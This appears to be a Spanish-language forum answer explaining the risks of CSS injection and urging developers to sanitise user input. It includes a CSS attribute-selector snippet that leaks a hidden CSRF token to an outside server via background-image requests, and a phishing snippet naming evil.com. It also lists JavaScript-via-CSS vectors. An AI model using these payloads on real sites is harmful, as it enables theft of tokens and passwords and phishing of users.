Definitivamente no es una buena idea poner la información del usuario directamente en los estilos.
¿La inyección de CSS es tan mala como XSS? No, pero todavía hay problemas con él.
Algunos de estos ejemplos a continuación no se aplican a usted ya que se requieren citas, pero las incluiré de todos modos para los lectores interesados en la inyección de CSS en general, y para mostrar que CSS es más poderoso de lo que generalmente se espera, por lo que es una es una buena idea filtrar / sanear / codificar adecuadamente las entradas de los usuarios antes de colocarlos en un contexto CSS.
Cambiar el aspecto de un sitio web
Este es bastante obvio, pero es algo a tener en cuenta. ¿Realmente quieres darle a un atacante la opción de controlar el aspecto de tu sitio web? Por supuesto, esto depende del tipo de sitio web que tenga, pero para algunos sitios web, por ejemplo, sitios web bancarios o sitios web para niños, incluso un ataque CSS reflejado a través del cual un atacante incluye imágenes en el sitio objetivo puede dañar la reputación del sitio. .
Leer datos de un sitio web
Un atacante puede leer contraseñas y tokens CSRF y enviarlos a un servidor controlado por el atacante. Aquí hay un ejemplo simple:
<style>
input[value^="a"] + input { background-image: url(http://www.example.com/a); }
input[value^="s"] + input { background-image: url(http://www.example.com/s); }
input[value^="z"] + input { background-image: url(http://www.example.com/z); }
</style>
<input value="secret" type="hidden" name="csrftoken" />
<input type="Submit" />
Esto también se puede hacer de manera más eficiente (consulte aquí o aquí ). Probablemente hay otros enfoques también, y no me sorprendería mucho si algunos de ellos funcionaran sin citas.
Cambiar el contenido de un sitio web
Un atacante también puede cambiar el contenido existente del sitio web, ya sea por razones de desfiguración, o como un ataque de phishing (algo poco probable pero posible):
<style>
p::before {
content: "Important security update: http://evil.com/update";
}
</style>
<p>
Somewhere a user does not expect user input
</p>
Ejecutando scripts
Hay diferentes maneras de ejecutar JavaScript a través de CSS ( expression
, url("javascript:
, diferentes características y errores en varios navegador (por ejemplo, -moz-binding
, htc
), etc). No creo que ninguna de las versiones actuales de los navegadores populares lo permita, pero realmente no puedes confiar en que tus usuarios los utilicen.